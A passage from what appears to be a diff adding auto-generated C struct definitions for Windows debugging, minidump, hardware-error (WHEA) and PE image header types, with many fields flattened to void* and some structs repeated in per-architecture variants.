unsigned char NumberOfBanks; + void* Flags; + unsigned long long MCG_Capability; + unsigned long long MCG_GlobalControl; + void* Banks[32]; +} WHEA_XPF_MCE_DESCRIPTOR; + +typedef struct _XSTATE_CONTEXT { + unsigned long long Mask; + unsigned int Length; + unsigned char Flags; + unsigned char Reserved0[3]; + void* Area; + void* Buffer; +} XSTATE_CONTEXT; + +typedef struct _XSTATE_CONTEXT { + unsigned long long Mask; + unsigned int Length; + unsigned char Flags; + unsigned char Reserved0[3]; + void* Area; + unsigned int Reserved2; + void* Buffer; + unsigned int Reserved3; +} XSTATE_CONTEXT; + +typedef struct _EXCEPTION_DEBUG_INFO { + void* ExceptionRecord; + unsigned int dwFirstChance; +} EXCEPTION_DEBUG_INFO; + +typedef struct _M128A { + unsigned long long Low; + long long High; +} M128A; + +typedef struct _MINIDUMP_HANDLE_DESCRIPTOR_2 { + unsigned long long Handle; + unsigned int TypeNameRva; + unsigned int ObjectNameRva; + unsigned int Attributes; + unsigned int GrantedAccess; + unsigned int HandleCount; + unsigned int PointerCount; + unsigned int ObjectInfoRva; + unsigned int Reserved0; +} MINIDUMP_HANDLE_DESCRIPTOR_2; + +typedef struct _MINIDUMP_MISC_INFO_4 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; + unsigned int ProcessIntegrityLevel; + unsigned int ProcessExecuteFlags; + unsigned int ProtectedProcess; + unsigned int TimeZoneId; + void* TimeZone; + unsigned short BuildString[260]; + unsigned short DbgBldStr[40]; +} MINIDUMP_MISC_INFO_4; + +typedef struct _IMAGEHLP_SYMBOL_PACKAGE { + void* sym; + unsigned char name[2001]; +} IMAGEHLP_SYMBOL_PACKAGE; + +typedef struct _WHEA_IPF_CPE_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + unsigned char Reserved; +} WHEA_IPF_CPE_DESCRIPTOR; + +typedef struct _MINIDUMP_INCLUDE_THREAD_CALLBACK { + unsigned int ThreadId; +} MINIDUMP_INCLUDE_THREAD_CALLBACK; + +typedef struct _DIMM_ADDRESS { + void* Ddr4; + void* Ddr5; +} DIMM_ADDRESS; + +typedef struct _MINIDUMP_MISC_INFO { + unsigned int SizeOfInfo; + void* Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; +} MINIDUMP_MISC_INFO; + +typedef struct _IMAGEHLP_DUPLICATE_SYMBOL { + unsigned int SizeOfStruct; + unsigned int NumberOfDups; + void* Symbol; + unsigned int SelectedSymbol; +} IMAGEHLP_DUPLICATE_SYMBOL; + +typedef struct _IMAGEHLP_SYMBOLW { + unsigned int SizeOfStruct; + unsigned int Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned short Name[1]; +} IMAGEHLP_SYMBOLW; + +typedef struct _MINIDUMP_EXCEPTION { + unsigned int ExceptionCode; + unsigned int ExceptionFlags; + unsigned long long ExceptionRecord; + unsigned long long ExceptionAddress; + unsigned int NumberParameters; + unsigned int __unusedAlignment; + unsigned long long ExceptionInformation[15]; +} MINIDUMP_EXCEPTION; + +typedef struct _MINIDUMP_IO_CALLBACK { + void* Handle; + unsigned long long Offset; + void* Buffer; + unsigned int BufferBytes; +} MINIDUMP_IO_CALLBACK; + +typedef struct _MINIDUMP_CALLBACK_OUTPUT { + void* Anonymous; +} MINIDUMP_CALLBACK_OUTPUT; + +typedef struct _MINIDUMP_VM_POST_READ_CALLBACK { + unsigned long long Offset; + void* Buffer; + unsigned int Size; + unsigned int Completed; + int Status; +} MINIDUMP_VM_POST_READ_CALLBACK; + +typedef struct _AER_BRIDGE_DESCRIPTOR_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} AER_BRIDGE_DESCRIPTOR_FLAGS; + +typedef struct _KNONVOLATILE_CONTEXT_POINTERS { + void* X19; + void* X20; + void* X21; + void* X22; + void* X23; + void* X24; + void* X25; + void* X26; + void* X27; + void* X28; + void* Fp; + void* Lr; + void* D8; + void* D9; + void* D10; + void* D11; + void* D12; + void* D13; + void* D14; + void* D15; +} KNONVOLATILE_CONTEXT_POINTERS; + +typedef struct _KNONVOLATILE_CONTEXT_POINTERS { + void* Anonymous1; + void* Anonymous2; +} KNONVOLATILE_CONTEXT_POINTERS; + +typedef struct _KNONVOLATILE_CONTEXT_POINTERS { + unsigned int Dummy; +} KNONVOLATILE_CONTEXT_POINTERS; + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION { + unsigned int ThreadId; + void* ExceptionPointers; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION; + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION { + unsigned int ThreadId; + void* ExceptionPointers; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION; + +typedef struct _SYMBOL_INFOW { + unsigned int SizeOfStruct; + unsigned int TypeIndex; + unsigned long long Reserved[2]; + unsigned int Index; + unsigned int Size; + unsigned long long ModBase; + void* Flags; + unsigned long long Value; + unsigned long long Address; + unsigned int Register; + unsigned int Scope; + unsigned int Tag; + unsigned int NameLen; + unsigned int MaxNameLen; + unsigned short Name[1]; +} SYMBOL_INFOW; + +typedef struct _WHEA_XPF_MC_BANK_DESCRIPTOR { + unsigned char BankNumber; + BOOL ClearOnInitialization; + unsigned char StatusDataFormat; + void* Flags; + unsigned int ControlMsr; + unsigned int StatusMsr; + unsigned int AddressMsr; + unsigned int MiscMsr; + unsigned long long ControlData; +} WHEA_XPF_MC_BANK_DESCRIPTOR; + +typedef struct _WHEA_AER_BRIDGE_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + unsigned int BusNumber; + void* Slot; + unsigned short DeviceControl; + void* Flags; + unsigned int UncorrectableErrorMask; + unsigned int UncorrectableErrorSeverity; + unsigned int CorrectableErrorMask; + unsigned int AdvancedCapsAndControl; + unsigned int SecondaryUncorrectableErrorMask; + unsigned int SecondaryUncorrectableErrorSev; + unsigned int SecondaryCapsAndControl; +} WHEA_AER_BRIDGE_DESCRIPTOR; + +typedef struct _KDHELP64 { + unsigned long long Thread; + unsigned int ThCallbackStack; + unsigned int ThCallbackBStore; + unsigned int NextCallback; + unsigned int FramePointer; + unsigned long long KiCallUserMode; + unsigned long long KeUserCallbackDispatcher; + unsigned long long SystemRangeStart; + unsigned long long KiUserExceptionDispatcher; + unsigned long long StackBase; + unsigned long long StackLimit; + unsigned int BuildVersion; + unsigned int RetpolineStubFunctionTableSize; + unsigned long long RetpolineStubFunctionTable; + unsigned int RetpolineStubOffset; + unsigned int RetpolineStubSize; + unsigned long long Reserved0[2]; +} KDHELP64; + +typedef struct _LDT_ENTRY { + unsigned short LimitLow; + unsigned short BaseLow; + void* HighWord; +} LDT_ENTRY; + +typedef struct _MINIDUMP_SYSTEM_BASIC_INFORMATION { + unsigned int TimerResolution; + unsigned int PageSize; + unsigned int NumberOfPhysicalPages; + unsigned int LowestPhysicalPageNumber; + unsigned int HighestPhysicalPageNumber; + unsigned int AllocationGranularity; + unsigned long long MinimumUserModeAddress; + unsigned long long MaximumUserModeAddress; + unsigned long long ActiveProcessorsAffinityMask; + unsigned int NumberOfProcessors; +} MINIDUMP_SYSTEM_BASIC_INFORMATION; + +typedef struct _CREATE_THREAD_DEBUG_INFO { + void* hThread; + void* lpThreadLocalBase; + void* lpStartAddress; +} CREATE_THREAD_DEBUG_INFO; + +typedef struct _MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION_2 { + unsigned long long IdleProcessTime; + unsigned long long IoReadTransferCount; + unsigned long long IoWriteTransferCount; + unsigned long long IoOtherTransferCount; + unsigned int IoReadOperationCount; + unsigned int IoWriteOperationCount; + unsigned int IoOtherOperationCount; + unsigned int AvailablePages; + unsigned int CommittedPages; + unsigned int CommitLimit; + unsigned int PeakCommitment; + unsigned int PageFaultCount; + unsigned int CopyOnWriteCount; + unsigned int TransitionCount; + unsigned int CacheTransitionCount; + unsigned int DemandZeroCount; + unsigned int PageReadCount; + unsigned int PageReadIoCount; + unsigned int CacheReadCount; + unsigned int CacheIoCount; + unsigned int DirtyPagesWriteCount; + unsigned int DirtyWriteIoCount; + unsigned int MappedPagesWriteCount; + unsigned int MappedWriteIoCount; + unsigned int PagedPoolPages; + unsigned int NonPagedPoolPages; + unsigned int PagedPoolAllocs; + unsigned int PagedPoolFrees; + unsigned int NonPagedPoolAllocs; + unsigned int NonPagedPoolFrees; + unsigned int FreeSystemPtes; + unsigned int ResidentSystemCodePage; + unsigned int TotalSystemDriverPages; + unsigned int TotalSystemCodePages; + unsigned int NonPagedPoolLookasideHits; + unsigned int PagedPoolLookasideHits; + unsigned int AvailablePagedPoolPages; + unsigned int ResidentSystemCachePage; + unsigned int ResidentPagedPoolPage; + unsigned int ResidentSystemDriverPage; + unsigned int CcFastReadNoWait; + unsigned int CcFastReadWait; + unsigned int CcFastReadResourceMiss; + unsigned int CcFastReadNotPossible; + unsigned int CcFastMdlReadNoWait; + unsigned int CcFastMdlReadWait; + unsigned int CcFastMdlReadResourceMiss; + unsigned int CcFastMdlReadNotPossible; + unsigned int CcMapDataNoWait; + unsigned int CcMapDataWait; + unsigned int CcMapDataNoWaitMiss; + unsigned int CcMapDataWaitMiss; + unsigned int CcPinMappedDataCount; + unsigned int CcPinReadNoWait; + unsigned int CcPinReadWait; + unsigned int CcPinReadNoWaitMiss; + unsigned int CcPinReadWaitMiss; + unsigned int CcCopyReadNoWait; + unsigned int CcCopyReadWait; + unsigned int CcCopyReadNoWaitMiss; + unsigned int CcCopyReadWaitMiss; + unsigned int CcMdlReadNoWait; + unsigned int CcMdlReadWait; + unsigned int CcMdlReadNoWaitMiss; + unsigned int CcMdlReadWaitMiss; + unsigned int CcReadAheadIos; + unsigned int CcLazyWriteIos; + unsigned int CcLazyWritePages; + unsigned int CcDataFlushes; + unsigned int CcDataPages; + unsigned int ContextSwitches; + unsigned int FirstLevelTbFills; + unsigned int SecondLevelTbFills; + unsigned int SystemCalls; + unsigned long long CcTotalDirtyPages; + unsigned long long CcDirtyPageThreshold; + long long ResidentAvailablePages; + unsigned long long SharedCommittedPages; + unsigned long long MdlPagesAllocated; + unsigned long long PfnDatabaseCommittedPages; + unsigned long long SystemPageTableCommittedPages; + unsigned long long ContiguousPagesAllocated; +} MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION_2; + +typedef struct _IMAGE_LOAD_CONFIG_CODE_INTEGRITY { + unsigned short Flags; + unsigned short Catalog; + unsigned int CatalogOffset; + unsigned int Reserved; +} IMAGE_LOAD_CONFIG_CODE_INTEGRITY; + +typedef struct _IMAGE_NT_HEADERS64 { + unsigned int Signature; + void* FileHeader; + void* OptionalHeader; +} IMAGE_NT_HEADERS64; + +typedef struct _STACKFRAME64 { + void* AddrPC; + void* AddrReturn; + void* AddrFrame; + void* AddrStack; + void* AddrBStore; + void* FuncTableEntry; + unsigned long long Params[4]; + BOOL Far; + BOOL Virtual; + unsigned long long Reserved[3]; + void* KdHelp; +} STACKFRAME64; + +typedef struct _DebugPropertyInfo { + unsigned int m_dwValidFields; + void* m_bstrName; + void* m_bstrType; + void* m_bstrValue; + void* m_bstrFullName; + unsigned int m_dwAttrib; + void* m_pDebugProp; +} DebugPropertyInfo; + +typedef struct _MINIDUMP_MODULE_CALLBACK { + void* FullPath; + unsigned long long BaseOfImage; + unsigned int SizeOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + void* VersionInfo; + void* CvRecord; + unsigned int SizeOfCvRecord; + void* MiscRecord; + unsigned int SizeOfMiscRecord; +} MINIDUMP_MODULE_CALLBACK; + +typedef struct _SYMSRV_INDEX_INFOW { + unsigned int sizeofstruct; + unsigned short file[261]; + BOOL stripped; + unsigned int timestamp; + unsigned int size; + unsigned short dbgfile[261]; + unsigned short pdbfile[261]; + void* guid; + unsigned int sig; + unsigned int age; +} SYMSRV_INDEX_INFOW; + +typedef struct _IMAGE_FILE_HEADER { + void* Machine; + unsigned short NumberOfSections; + unsigned int TimeDateStamp; + unsigned int PointerToSymbolTable; + unsigned int NumberOfSymbols; + unsigned short SizeOfOptionalHeader; + void* Characteristics; +} IMAGE_FILE_HEADER; + +typedef struct _EXCEPTION_POINTERS { + void* ExceptionRecord; + void* ContextRecord; +} EXCEPTION_POINTERS; + +typedef struct _WHEA_GENERIC_ERROR_DESCRIPTOR_V2 { + unsigned short Type; + unsigned char Reserved; + unsigned char Enabled; + unsigned int ErrStatusBlockLength; + unsigned int RelatedErrorSourceId; + unsigned char ErrStatusAddressSpaceID; + unsigned char ErrStatusAddressBitWidth; + unsigned char ErrStatusAddressBitOffset; + unsigned char ErrStatusAddressAccessSize; + long long ErrStatusAddress; + void* Notify; + unsigned char ReadAckAddressSpaceID; + unsigned char ReadAckAddressBitWidth; + unsigned char ReadAckAddressBitOffset; + unsigned char ReadAckAddressAccessSize; + long long ReadAckAddress; + unsigned long long ReadAckPreserveMask; + unsigned long long ReadAckWriteMask; +} WHEA_GENERIC_ERROR_DESCRIPTOR_V2; + +typedef struct _MINIDUMP_THREAD_EX_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + unsigned int Pad; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; + unsigned long long BackingStoreBase; + unsigned long long BackingStoreEnd; +} MINIDUMP_THREAD_EX_CALLBACK; + +typedef struct _MINIDUMP_THREAD_EX_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; + unsigned long long BackingStoreBase; + unsigned long long BackingStoreEnd; +} MINIDUMP_THREAD_EX_CALLBACK; + +typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + unsigned int EndAddress; + void* Anonymous; +} IMAGE_RUNTIME_FUNCTION_ENTRY; + +typedef struct _WHEA_IPF_MCA_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + unsigned char Reserved; +} WHEA_IPF_MCA_DESCRIPTOR; + +typedef struct _SOURCEFILEW { + unsigned long long ModBase; + void* FileName; +} SOURCEFILEW; + +typedef struct _IMAGE_FUNCTION_ENTRY { + unsigned int StartingAddress; + unsigned int EndingAddress; + unsigned int EndOfPrologue; +} IMAGE_FUNCTION_ENTRY; + +typedef struct _XSTATE_CONFIGURATION { + unsigned long long EnabledFeatures; + unsigned long long EnabledVolatileFeatures; + unsigned int Size; + void* Anonymous; + void* Features[64]; + unsigned long long EnabledSupervisorFeatures; + unsigned long long AlignedFeatures; + unsigned int AllFeatureSize; + unsigned int AllFeatures[64]; + unsigned long long EnabledUserVisibleSupervisorFeatures; + unsigned long long ExtendedFeatureDisableFeatures; + unsigned int AllNonLargeFeatureSize; + unsigned short MaxSveVectorLength; + unsigned short Spare1; +} XSTATE_CONFIGURATION; + +typedef struct _TI_GET_DISCRIMINATEDUNION_TAG_RANGES_PARAMS { + unsigned int Count; + unsigned int Start; + void* Range[1]; +} TI_GET_DISCRIMINATEDUNION_TAG_RANGES_PARAMS; + +typedef struct _ExtendedDebugPropertyInfo { + unsigned int dwValidFields; + void* pszName; + void* pszType; + void* pszValue; + void* pszFullName; + unsigned int dwAttrib; + void* pDebugProp; + unsigned int nDISPID; + unsigned int nType; + void* varValue; + void* plbValue; + void* pDebugExtProp; +} ExtendedDebugPropertyInfo; + +typedef struct _PHYSICAL_MEMORY_DESCRIPTOR64 { + unsigned int NumberOfRuns; + unsigned long long NumberOfPages; + void* Run[1]; +} PHYSICAL_MEMORY_DESCRIPTOR64; + +typedef struct _MINIDUMP_THREAD_INFO_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned int NumberOfEntries; +} MINIDUMP_THREAD_INFO_LIST; + +typedef struct _MINIDUMP_EXCEPTION_STREAM { + unsigned int ThreadId; + unsigned int __alignment; + void* ExceptionRecord; + void* ThreadContext; +} MINIDUMP_EXCEPTION_STREAM; + +typedef struct _MINIDUMP_THREAD_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + unsigned int Pad; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; +} MINIDUMP_THREAD_CALLBACK; + +typedef struct _MINIDUMP_THREAD_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; +} MINIDUMP_THREAD_CALLBACK; + +typedef struct _IMAGE_ROM_HEADERS { + void* FileHeader; + void* OptionalHeader; +} IMAGE_ROM_HEADERS; + +typedef struct _MODLOAD_CVMISC { + unsigned int oCV; + unsigned long long cCV; + unsigned int oMisc; + unsigned long long cMisc; + unsigned int dtImage; + unsigned int cImage; +} MODLOAD_CVMISC; + +typedef struct _WHEA_AER_ENDPOINT_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + unsigned int BusNumber; + void* Slot; + unsigned short DeviceControl; + void* Flags; + unsigned int UncorrectableErrorMask; + unsigned int UncorrectableErrorSeverity; + unsigned int CorrectableErrorMask; + unsigned int AdvancedCapsAndControl; +} WHEA_AER_ENDPOINT_DESCRIPTOR; + +typedef struct _WHEA_ERROR_SOURCE_DESCRIPTOR { + unsigned int Length; + unsigned int Version; + void* Type; + void* State; + unsigned int MaxRawDataLength; + unsigned int NumRecordsToPreallocate; + unsigned int MaxSectionsPerRecord; + unsigned int ErrorSourceId; + unsigned int PlatformErrorSourceId; + unsigned int Flags; + void* Info; +} WHEA_ERROR_SOURCE_DESCRIPTOR; + +typedef struct _MINIDUMP_UNLOADED_MODULE { + unsigned long long BaseOfImage; + unsigned int SizeOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned int ModuleNameRva; +} MINIDUMP_UNLOADED_MODULE; + +typedef struct _MINIDUMP_VM_QUERY_CALLBACK { + unsigned long long Offset; +} MINIDUMP_VM_QUERY_CALLBACK; + +typedef struct _UNLOAD_DLL_DEBUG_INFO { + void* lpBaseOfDll; +} UNLOAD_DLL_DEBUG_INFO; + +typedef struct _IMAGEHLP_DUPLICATE_SYMBOL64 { + unsigned int SizeOfStruct; + unsigned int NumberOfDups; + void* Symbol; + unsigned int SelectedSymbol; +} IMAGEHLP_DUPLICATE_SYMBOL64; + +typedef struct _MODULE_TYPE_INFO { + unsigned short dataLength; + unsigned short leaf; + unsigned char data[1]; +} MODULE_TYPE_INFO; + +typedef struct _DEBUG_EVENT { + void* dwDebugEventCode; + unsigned int dwProcessId; + unsigned int dwThreadId; + void* u; +} DEBUG_EVENT; + +typedef struct _FPO_DATA { + unsigned int ulOffStart; + unsigned int cbProcSize; + unsigned int cdwLocals; + unsigned short cdwParams; + unsigned short _bitfield; +} FPO_DATA; + +typedef struct _MINIDUMP_USER_STREAM { + unsigned int Type; + unsigned int BufferSize; + void* Buffer; +} MINIDUMP_USER_STREAM; + +typedef struct _MINIDUMP_USER_STREAM { + unsigned int Type; + unsigned int BufferSize; + void* Buffer; +} MINIDUMP_USER_STREAM; + +typedef struct _EXCEPTION_RECORD32 { + int ExceptionCode; + unsigned int ExceptionFlags; + unsigned int ExceptionRecord; + unsigned int ExceptionAddress; + unsigned int NumberParameters; + unsigned int ExceptionInformation[15]; +} EXCEPTION_RECORD32; + +typedef struct _MINIDUMP_PROCESS_VM_COUNTERS_1 { + unsigned short Revision; + unsigned int PageFaultCount; + unsigned long long PeakWorkingSetSize; + unsigned long long WorkingSetSize; + unsigned long long QuotaPeakPagedPoolUsage; + unsigned long long QuotaPagedPoolUsage; + unsigned long long QuotaPeakNonPagedPoolUsage; + unsigned long long QuotaNonPagedPoolUsage; + unsigned long long PagefileUsage; + unsigned long long PeakPagefileUsage; + unsigned long long PrivateUsage; +} MINIDUMP_PROCESS_VM_COUNTERS_1; + +typedef struct _IMAGE_OPTIONAL_HEADER32 { + void* Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned int SizeOfCode; + unsigned int SizeOfInitializedData; + unsigned int SizeOfUninitializedData; + unsigned int AddressOfEntryPoint; + unsigned int BaseOfCode; + unsigned int BaseOfData; + unsigned int ImageBase; + unsigned int SectionAlignment; + unsigned int FileAlignment; + unsigned short MajorOperatingSystemVersion; + unsigned short MinorOperatingSystemVersion; + unsigned short MajorImageVersion; + unsigned short MinorImageVersion; + unsigned short MajorSubsystemVersion; + unsigned short MinorSubsystemVersion; + unsigned int Win32VersionValue; + unsigned int SizeOfImage; + unsigned int SizeOfHeaders; + unsigned int CheckSum; + void* Subsystem; + void* DllCharacteristics; + unsigned int SizeOfStackReserve; + unsigned int SizeOfStackCommit; + unsigned int SizeOfHeapReserve; + unsigned int SizeOfHeapCommit; + unsigned int LoaderFlags; + unsigned int NumberOfRvaAndSizes; + void* DataDirectory[16]; +} IMAGE_OPTIONAL_HEADER32; + +typedef struct _MINIDUMP_THREAD_NAME { + unsigned int ThreadId; + unsigned long long RvaOfThreadName; +} MINIDUMP_THREAD_NAME; + +typedef struct _MINIDUMP_MEMORY_LIST { + unsigned int NumberOfMemoryRanges; + void* MemoryRanges[1]; +} MINIDUMP_MEMORY_LIST; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned char FileName[260]; + BOOL Reparse; + void* hFile; + unsigned int Flags; +} IMAGEHLP_DEFERRED_SYMBOL_LOAD64; + +typedef struct _APC_CALLBACK_DATA { + unsigned long long Parameter; + void* ContextRecord; + unsigned long long Reserved0; + unsigned long long Reserved1; +} APC_CALLBACK_DATA; + +typedef struct _IMAGE_OPTIONAL_HEADER64 { + void* Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned int SizeOfCode; + unsigned int SizeOfInitializedData; + unsigned int SizeOfUninitializedData; + unsigned int AddressOfEntryPoint; + unsigned int BaseOfCode; + unsigned long long ImageBase; + unsigned int SectionAlignment; + unsigned int FileAlignment; + unsigned short MajorOperatingSystemVersion; + unsigned short MinorOperatingSystemVersion; + unsigned short MajorImageVersion; + unsigned short MinorImageVersion; + unsigned short MajorSubsystemVersion; + unsigned short MinorSubsystemVersion; + unsigned int Win32VersionValue; + unsigned int SizeOfImage; + unsigned int SizeOfHeaders; + unsigned int CheckSum; + void* Subsystem; + void* DllCharacteristics; + unsigned long long SizeOfStackReserve; + unsigned long long SizeOfStackCommit; + unsigned long long SizeOfHeapReserve; + unsigned long long SizeOfHeapCommit; + unsigned int LoaderFlags; + unsigned int NumberOfRvaAndSizes; + void* DataDirectory[16]; +} IMAGE_OPTIONAL_HEADER64; + +typedef struct _WHEA_ERROR_SOURCE_CONFIGURATION_DD { + void* Initialize; + void* Uninitialize; + void* Correct; +} WHEA_ERROR_SOURCE_CONFIGURATION_DD; + +typedef struct _AER_ROOTPORT_DESCRIPTOR_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} AER_ROOTPORT_DESCRIPTOR_FLAGS; + +typedef struct _ADDRESS64 { + unsigned long long Offset; + unsigned short Segment; + void* Mode; +} ADDRESS64; + +typedef struct _MINIDUMP_HANDLE_OPERATION_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned int NumberOfEntries; + unsigned int Reserved; +} MINIDUMP_HANDLE_OPERATION_LIST; + +typedef struct _IMAGE_DEBUG_DIRECTORY { + unsigned int Characteristics; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + void* Type; + unsigned int SizeOfData; + unsigned int AddressOfRawData; + unsigned int PointerToRawData; +} IMAGE_DEBUG_DIRECTORY; + +typedef struct _IMAGEHLP_JIT_SYMBOLMAP { + unsigned int SizeOfStruct; + unsigned long long Address; + unsigned long long BaseOfImage; +} IMAGEHLP_JIT_SYMBOLMAP; + +typedef struct _WHEA_NOTIFICATION_DESCRIPTOR { + unsigned char Type; + unsigned char Length; + void* Flags; + void* u; +} WHEA_NOTIFICATION_DESCRIPTOR; + +typedef struct _IMAGE_NT_HEADERS32 { + unsigned int Signature; + void* FileHeader; + void* OptionalHeader; +} IMAGE_NT_HEADERS32; + +typedef struct _WHEA_DEVICE_DRIVER_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + void* SourceGuid; + unsigned short LogTag; + unsigned short Reserved2; + unsigned int PacketLength; + unsigned int PacketCount; + void* PacketBuffer; + void* Config; + void* CreatorId; + void* PartitionId; + unsigned int MaxSectionDataLength; + unsigned int MaxSectionsPerRecord; + void* PacketStateBuffer; + int OpenHandles; +} WHEA_DEVICE_DRIVER_DESCRIPTOR; + +typedef struct _EXIT_PROCESS_DEBUG_INFO { + unsigned int dwExitCode; +} EXIT_PROCESS_DEBUG_INFO; + +typedef struct _MINIDUMP_MEMORY_INFO_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned long long NumberOfEntries; +} MINIDUMP_MEMORY_INFO_LIST; + +typedef struct _IMAGEHLP_GET_TYPE_INFO_PARAMS { + unsigned int SizeOfStruct; + void* Flags; + unsigned int NumIds; + void* TypeIds; + unsigned long long TagFilter; + unsigned int NumReqs; + void* ReqKinds; + void* ReqOffsets; + void* ReqSizes; + unsigned long long ReqStride; + unsigned long long BufferSize; + void* Buffer; + unsigned int EntriesMatched; + unsigned int EntriesFilled; + unsigned long long TagsFound; + unsigned long long AllReqsValid; + unsigned int NumReqsValid; + void* ReqsValid; +} IMAGEHLP_GET_TYPE_INFO_PARAMS; + +typedef struct _MINIDUMP_READ_MEMORY_FAILURE_CALLBACK { + unsigned long long Offset; + unsigned int Bytes; + int FailureStatus; +} MINIDUMP_READ_MEMORY_FAILURE_CALLBACK; + +typedef struct _DIMM_ADDR_VALID_BITS_DDR4 { + unsigned int _bitfield; +} DIMM_ADDR_VALID_BITS_DDR4; + +typedef struct _MINIDUMP_MISC_INFO_5 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; + unsigned int ProcessIntegrityLevel; + unsigned int ProcessExecuteFlags; + unsigned int ProtectedProcess; + unsigned int TimeZoneId; + void* TimeZone; + unsigned short BuildString[260]; + unsigned short DbgBldStr[40]; + void* XStateData; + unsigned int ProcessCookie; +} MINIDUMP_MISC_INFO_5; + +typedef struct _DIMM_INFO { + void* DimmAddress; + void* ValidBits; +} DIMM_INFO; + +typedef struct _MINIDUMP_DIRECTORY { + unsigned int StreamType; + void* Location; +} MINIDUMP_DIRECTORY; + +typedef struct _AER_ENDPOINT_DESCRIPTOR_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} AER_ENDPOINT_DESCRIPTOR_FLAGS; + +typedef struct _IMAGEHLP_MODULEW64_EX { + void* Module; + unsigned int RegionFlags; +} IMAGEHLP_MODULEW64_EX; + +typedef struct _EXCEPTION_RECORD64 { + int ExceptionCode; + unsigned int ExceptionFlags; + unsigned long long ExceptionRecord; + unsigned long long ExceptionAddress; + unsigned int NumberParameters; + unsigned int __unusedAlignment; + unsigned long long ExceptionInformation[15]; +} EXCEPTION_RECORD64; + +typedef struct _MINIDUMP_MODULE_LIST { + unsigned int NumberOfModules; + void* Modules[1]; +} MINIDUMP_MODULE_LIST; + +typedef struct _IMAGE_LOAD_CONFIG_DIRECTORY32 { + unsigned int Size; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned int GlobalFlagsClear; + unsigned int GlobalFlagsSet; + unsigned int CriticalSectionDefaultTimeout; + unsigned int DeCommitFreeBlockThreshold; + unsigned int DeCommitTotalFreeThreshold; + unsigned int LockPrefixTable; + unsigned int MaximumAllocationSize; + unsigned int VirtualMemoryThreshold; + unsigned int ProcessHeapFlags; + unsigned int ProcessAffinityMask; + unsigned short CSDVersion; + unsigned short DependentLoadFlags; + unsigned int EditList; + unsigned int SecurityCookie; + unsigned int SEHandlerTable; + unsigned int SEHandlerCount; + unsigned int GuardCFCheckFunctionPointer; + unsigned int GuardCFDispatchFunctionPointer; + unsigned int GuardCFFunctionTable; + unsigned int GuardCFFunctionCount; + unsigned int GuardFlags; + void* CodeIntegrity; + unsigned int GuardAddressTakenIatEntryTable; + unsigned int GuardAddressTakenIatEntryCount; + unsigned int GuardLongJumpTargetTable; + unsigned int GuardLongJumpTargetCount; + unsigned int DynamicValueRelocTable; + unsigned int CHPEMetadataPointer; + unsigned int GuardRFFailureRoutine; + unsigned int GuardRFFailureRoutineFunctionPointer; + unsigned int DynamicValueRelocTableOffset; + unsigned short DynamicValueRelocTableSection; + unsigned short Reserved2; + unsigned int GuardRFVerifyStackPointerFunctionPointer; + unsigned int HotPatchTableOffset; + unsigned int Reserved3; + unsigned int EnclaveConfigurationPointer; + unsigned int VolatileMetadataPointer; + unsigned int GuardEHContinuationTable; + unsigned int GuardEHContinuationCount; + unsigned int GuardXFGCheckFunctionPointer; + unsigned int GuardXFGDispatchFunctionPointer; + unsigned int GuardXFGTableDispatchFunctionPointer; + unsigned int CastGuardOsDeterminedFailureMode; + unsigned int GuardMemcpyFunctionPointer; + unsigned int UmaFunctionPointers; +} IMAGE_LOAD_CONFIG_DIRECTORY32; + +typedef struct _XSTATE_FEATURE { + unsigned int Offset; 